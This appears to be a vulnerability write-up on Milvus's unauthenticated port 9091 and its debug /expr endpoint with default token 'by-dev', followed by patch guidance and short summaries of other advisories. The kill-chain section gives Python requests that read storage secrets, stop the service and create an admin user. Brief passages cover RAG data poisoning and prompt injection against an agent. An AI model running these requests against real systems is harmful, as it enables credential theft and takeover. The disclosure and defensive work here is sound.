Feb 11, 2026·6 min read·14 visits
Milvus exposes its administrative REST API and a debug console on port 9091 by default. Due to missing middleware, requests to this port bypass all authentication. Attackers can create admin users, dump credentials, or execute arbitrary code using the default `by-dev` token.
In the gold rush of the AI revolution, vector databases like Milvus have become the vaults where companies store their most precious semantic data. But while everyone was worried about prompt injection or model poisoning, Milvus accidentally left the back door wide open. A critical vulnerability in the metrics and management interface (port 9091) exposes the entire administrative REST API without authentication. Worse, a debug endpoint allows arbitrary Go expression evaluation with a hardcoded default token. This isn't just a data leak; it's a full system compromise waiting to happen.
We live in the age of RAG (Retrieval-Augmented Generation). Companies are dumping gigabytes of proprietary documents, customer chats, and trade secrets into vector databases like Milvus to make their LLMs smarter. Milvus is complex software; it has coordinators, proxies, data nodes, and query nodes. To manage this beast, it exposes various ports.
The main entrance, port 19530, handles the high-speed gRPC traffic for vector insertion and searching. This door is usually heavily guarded with authentication, TLS, and API gateways. But software needs to be observed. DevOps teams love metrics. So, Milvus provides a dedicated HTTP server for metrics and health checks on port 9091.
In theory, port 9091 should just reply with some harmless Prometheus-formatted stats. In practice, due to a copy-paste catastrophe in the initialization logic, port 9091 became a fully functional, unauthenticated administrative console. It’s the equivalent of a bank vault having a thermal exhaust port that leads directly to the main reactor—and the door is propped open with a brick.
The root cause of this vulnerability is a classic case of "Middleware Amnesia." In modern web frameworks like Gin (which Milvus uses), you define routes and then apply middleware to them. Middleware handles things like logging, rate limiting, and—crucially—authentication. If you forget to apply the middleware, the routes still work, they just stop checking ID at the door.
Inside internal/distributed/proxy/service.go, the Milvus developers set up the HTTP server. They correctly initialized the main API group. However, when setting up the metrics server (which runs on a separate port), they decided to register the same business logic handlers to it.
Why? Likely for convenience, so administrators could hit the REST API on the management port if needed. The fatal flaw was that while they copied the routes, they forgot to copy the apiv1.Use(httpserver.RequestHandlerFunc) line (or its equivalent auth check) to the metrics server context. This means GET /api/v1/collection on port 19530 asks for a password, but the exact same request on port 9091 rolls out the red carpet.
Let's look at the smoking gun in internal/distributed/proxy/service.go. This is where the Proxy service spins up its HTTP listeners.
// registerHTTPServer register the http server
func (s *Server) registerHTTPServer() {
// ... setup code ...
metricsGinHandler := gin.Default()
// 1. Create the API group on the METRICS handler
apiv1 := metricsGinHandler.Group(apiPathPrefix)
// 2. Register the business logic handlers
handlers := httpserver.NewHandlers(s.proxy)
handlers.RegisterRoutesTo(apiv1)
// 3. Register the Proxy REST router
if p, ok := s.proxy.(*proxy.Proxy); ok {
p.RegisterRestRouter(apiv1)
}
// 4. Bind this handler to the metrics server
mhttp.Register(&mhttp.Handler{
Path: mhttp.RootPath,
Handler: metricsGinHandler.Handler(),
})
}Notice what is missing? There is no authentication middleware attached to apiv1. In the standard HTTP server initialization function (not shown here, but present in the codebase), there is explicit logic that checks Params.ProxyCfg.AuthorizationEnabled and enforces token validation. Here, on the metrics path, the code simply mounts the full RegisterRoutesTo(apiv1) router directly to the open web.
If the unauthenticated API wasn't bad enough, Milvus includes a debug endpoint located at /expr. This endpoint allows the caller to evaluate arbitrary internal Go expressions. Yes, you read that right. It's essentially a web-based eval() for the running Go process.
Access to this endpoint is theoretically restricted by an auth parameter. However, the default value for this check is derived from etcd.rootPath. In almost every default installation, and in the Docker Compose examples provided by Milvus, this value is set to by-dev.
So, we have an unauthenticated Remote Code Execution (or at least Remote Configuration Execution) primitive. Here is how an attacker creates a "Kill Chain":
/expr to read the global configuration memory. They can extract the MinIO SecretAccessKey (used for S3 storage) and the root user's password hash.requests.get("http://target:9091/expr", params={
"auth": "by-dev",
"code": "param.MinioCfg.SecretAccessKey.GetValue()"
})requests.get("http://target:9091/expr", params={
"auth": "by-dev",
"code": "proxy.Stop()"
})requests.post("http://target:9091/api/v1/credential", json={
"username": "apt_group",
"password": "base64_encoded_payload"
})The impact here is catastrophic for any organization running Milvus exposed to the internet or an untrusted internal network. Because Milvus is a vector database, it holds the meaning of your data.
Data Theft: An attacker can simply list all collections and query the vectors. If they have the MinIO keys (which they can get via /expr), they can bypass Milvus entirely and download the raw data segments from your object storage bucket.
Data Poisoning: In a RAG context, poisoning the vector store is a subtle and dangerous attack. An attacker could insert vectors that are semantically close to common queries but contain malicious or incorrect data. This forces the downstream LLM to hallucinate or provide harmful responses to users.
Infrastructure Compromise: The /expr endpoint can theoretically be used to modify file paths for logging. If an attacker can trick the server into writing logs to a script file (e.g., a web shell or a cron job location), they can achieve full OS-level Remote Code Execution.
If you are running Milvus versions prior to 2.5.27 or 2.6.10, you are vulnerable. The patch applied by the maintainers simply removes the registration of the API router and the debug endpoint from the metrics port.
Immediate Steps:
etcd.rootPath in your configuration from by-dev to a random high-entropy string. This acts as the password for the /expr endpoint if it is ever accidentally exposed again.> [!NOTE] > Many Kubernetes deployments expose the metrics port via a Service for monitoring. Ensure your Ingress controller does NOT route external traffic to port 9091.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Milvus LF AI & Data | < 2.5.27 | 2.5.27 |
Milvus LF AI & Data | >= 2.6.0, < 2.6.10 | 2.6.10 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-306 (Missing Authentication for Critical Function) |
| CVSS Score | 9.8 (Critical) |
| Attack Vector | Network (Port 9091) |
| Secondary Weakness | CWE-1188 (Insecure Default Initialization of Resource) |
| Exploit Status | PoC Available / High Reliability |
| Default Token | auth=by-dev |
The software does not perform any authentication for functionality that requires a provable user identity.
A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.
CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.
The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.
GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.
The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.
The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.